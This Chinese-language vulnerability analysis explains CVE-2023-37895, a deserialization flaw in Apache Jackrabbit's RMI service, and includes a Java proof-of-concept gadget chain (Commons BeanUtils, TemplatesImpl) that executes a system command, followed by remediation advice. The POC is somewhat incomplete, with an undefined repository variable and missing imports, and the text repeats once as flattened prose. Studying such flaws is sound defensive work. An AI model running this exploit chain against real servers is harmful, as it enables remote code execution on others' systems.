Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895)
字数 1643 2025-08-18 11:36:48

Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895) 教学文档

1. 漏洞背景

Apache Jackrabbit 是一个开源的内容仓库实现,它完整实现了 JCR (Java Content Repository) API 规范。JCR 是为内容仓库定义的 Java API 标准接口,允许应用程序通过这些标准接口访问不同的内容仓库实现。

Jackrabbit 提供了丰富的内容管理功能,包括:

  • 层次结构节点管理
  • 版本控制
  • 观察(Observation)
  • 查询功能
  • 锁定机制
  • 事务支持

2. 漏洞概述

Jackrabbit 在 /rmi 路径下提供了 RMI 服务,使远程客户端可以通过 RMI 协议访问服务器端的内容仓库。该漏洞存在于 RMI 服务的反序列化过程中,攻击者可以构造恶意的序列化对象实现远程代码执行(RCE)。

3. 漏洞原理分析

3.1 漏洞入口

通过 web.xml 配置文件可知,/rmi 路径对应的 Servlet 是 org.apache.jackrabbit.servlet.remote.RemoteBindingServlet

该 Servlet 的核心处理逻辑:

  1. 调用 getRemoteRepository() 方法获取 Repository 对象
  2. 将 Repository 对象转化为 Stub 代理对象返回给客户端

3.2 反序列化流程

  1. 客户端获取 Repository 对象后,可以调用 login() 方法
  2. 服务端通过 RMI 的 JRMP 协议接收客户端传输的 Credentials 类
  3. 服务端对接收到的序列化数据进行反序列化

3.3 漏洞利用点

  • Credentials 是一个继承 Serializable 的空接口
  • 其中一个实现类 SimpleCredentials 包含一个 Map<String,Object> 类型的 attributes 属性
  • 攻击者可以构造恶意的 PriorityQueue 对象并存入 attributes Map 中
  • 反序列化时会递归反序列化所有属性,包括 attributes Map 中的恶意对象

4. 漏洞利用链

利用 Commons BeanUtils 组件构造攻击链:

  1. 构造恶意的 TemplatesImpl 对象
  2. 使用 BeanComparatorPriorityQueue 构造反序列化链
  3. 将构造的 PriorityQueue 存入 SimpleCredentialsattributes 属性
  4. 通过 RMI 发送恶意 SimpleCredentials 对象

5. 漏洞复现

5.1 环境准备

  • Apache Jackrabbit 受影响版本
  • 包含 Commons BeanUtils 组件的环境

5.2 POC 代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;

public class Exp {
    public static void main(String[] args) throws Exception {
        byte[] code = getTemplatesImpl("open -a calculator");
        byte[][] codes = {code};
        
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> payload = new PriorityQueue<Object>(2, comparator);
        payload.add("1");
        payload.add("1");
        
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(payload, "queue", new Object[]{obj, obj});
        
        SimpleCredentials exp = new SimpleCredentials("admin", "admin".toCharArray());
        exp.setAttribute("admin", payload);
        
        repository.login(exp);
    }
    
    public static void setFieldValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }
    
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}

5.3 执行效果

运行 POC 后,会执行指定的系统命令(如打开计算器)。

6. 修复建议

  1. 网络层面防护

    • 使用网络 ACL 限制访问 Jackrabbit 的来源
    • 如非必要,不要将 Jackrabbit 暴露在互联网上
  2. 组件升级

    • 升级到已修复的安全版本
    • 移除或更新存在漏洞的依赖组件(如 Commons BeanUtils)
  3. 代码层面防护

    • 实现自定义的 ObjectInputStream 并重写 resolveClass 方法
    • 对反序列化的类进行白名单校验
  4. 配置加固

    • 禁用不必要的 RMI 服务
    • 配置 JVM 安全策略限制敏感操作

7. 总结

CVE-2023-37895 漏洞利用了 Apache Jackrabbit 中 RMI 服务对 Credentials 对象的反序列化过程,通过构造恶意的序列化数据实现远程代码执行。该漏洞危害性较高,攻击者可在受影响系统上执行任意代码。建议用户及时采取防护措施,避免系统遭受攻击。

Apache Jackrabbit 反序列化漏洞分析(CVE-2023-37895) 教学文档 1. 漏洞背景 Apache Jackrabbit 是一个开源的内容仓库实现,它完整实现了 JCR (Java Content Repository) API 规范。JCR 是为内容仓库定义的 Java API 标准接口,允许应用程序通过这些标准接口访问不同的内容仓库实现。 Jackrabbit 提供了丰富的内容管理功能,包括: 层次结构节点管理 版本控制 观察(Observation) 查询功能 锁定机制 事务支持 2. 漏洞概述 Jackrabbit 在 /rmi 路径下提供了 RMI 服务,使远程客户端可以通过 RMI 协议访问服务器端的内容仓库。该漏洞存在于 RMI 服务的反序列化过程中,攻击者可以构造恶意的序列化对象实现远程代码执行(RCE)。 3. 漏洞原理分析 3.1 漏洞入口 通过 web.xml 配置文件可知, /rmi 路径对应的 Servlet 是 org.apache.jackrabbit.servlet.remote.RemoteBindingServlet 。 该 Servlet 的核心处理逻辑: 调用 getRemoteRepository() 方法获取 Repository 对象 将 Repository 对象转化为 Stub 代理对象返回给客户端 3.2 反序列化流程 客户端获取 Repository 对象后,可以调用 login() 方法 服务端通过 RMI 的 JRMP 协议接收客户端传输的 Credentials 类 服务端对接收到的序列化数据进行反序列化 3.3 漏洞利用点 Credentials 是一个继承 Serializable 的空接口 其中一个实现类 SimpleCredentials 包含一个 Map<String,Object> 类型的 attributes 属性 攻击者可以构造恶意的 PriorityQueue 对象并存入 attributes Map 中 反序列化时会递归反序列化所有属性,包括 attributes Map 中的恶意对象 4. 漏洞利用链 利用 Commons BeanUtils 组件构造攻击链: 构造恶意的 TemplatesImpl 对象 使用 BeanComparator 和 PriorityQueue 构造反序列化链 将构造的 PriorityQueue 存入 SimpleCredentials 的 attributes 属性 通过 RMI 发送恶意 SimpleCredentials 对象 5. 漏洞复现 5.1 环境准备 Apache Jackrabbit 受影响版本 包含 Commons BeanUtils 组件的环境 5.2 POC 代码 5.3 执行效果 运行 POC 后,会执行指定的系统命令(如打开计算器)。 6. 修复建议 网络层面防护 : 使用网络 ACL 限制访问 Jackrabbit 的来源 如非必要,不要将 Jackrabbit 暴露在互联网上 组件升级 : 升级到已修复的安全版本 移除或更新存在漏洞的依赖组件(如 Commons BeanUtils) 代码层面防护 : 实现自定义的 ObjectInputStream 并重写 resolveClass 方法 对反序列化的类进行白名单校验 配置加固 : 禁用不必要的 RMI 服务 配置 JVM 安全策略限制敏感操作 7. 总结 CVE-2023-37895 漏洞利用了 Apache Jackrabbit 中 RMI 服务对 Credentials 对象的反序列化过程,通过构造恶意的序列化数据实现远程代码执行。该漏洞危害性较高,攻击者可在受影响系统上执行任意代码。建议用户及时采取防护措施,避免系统遭受攻击。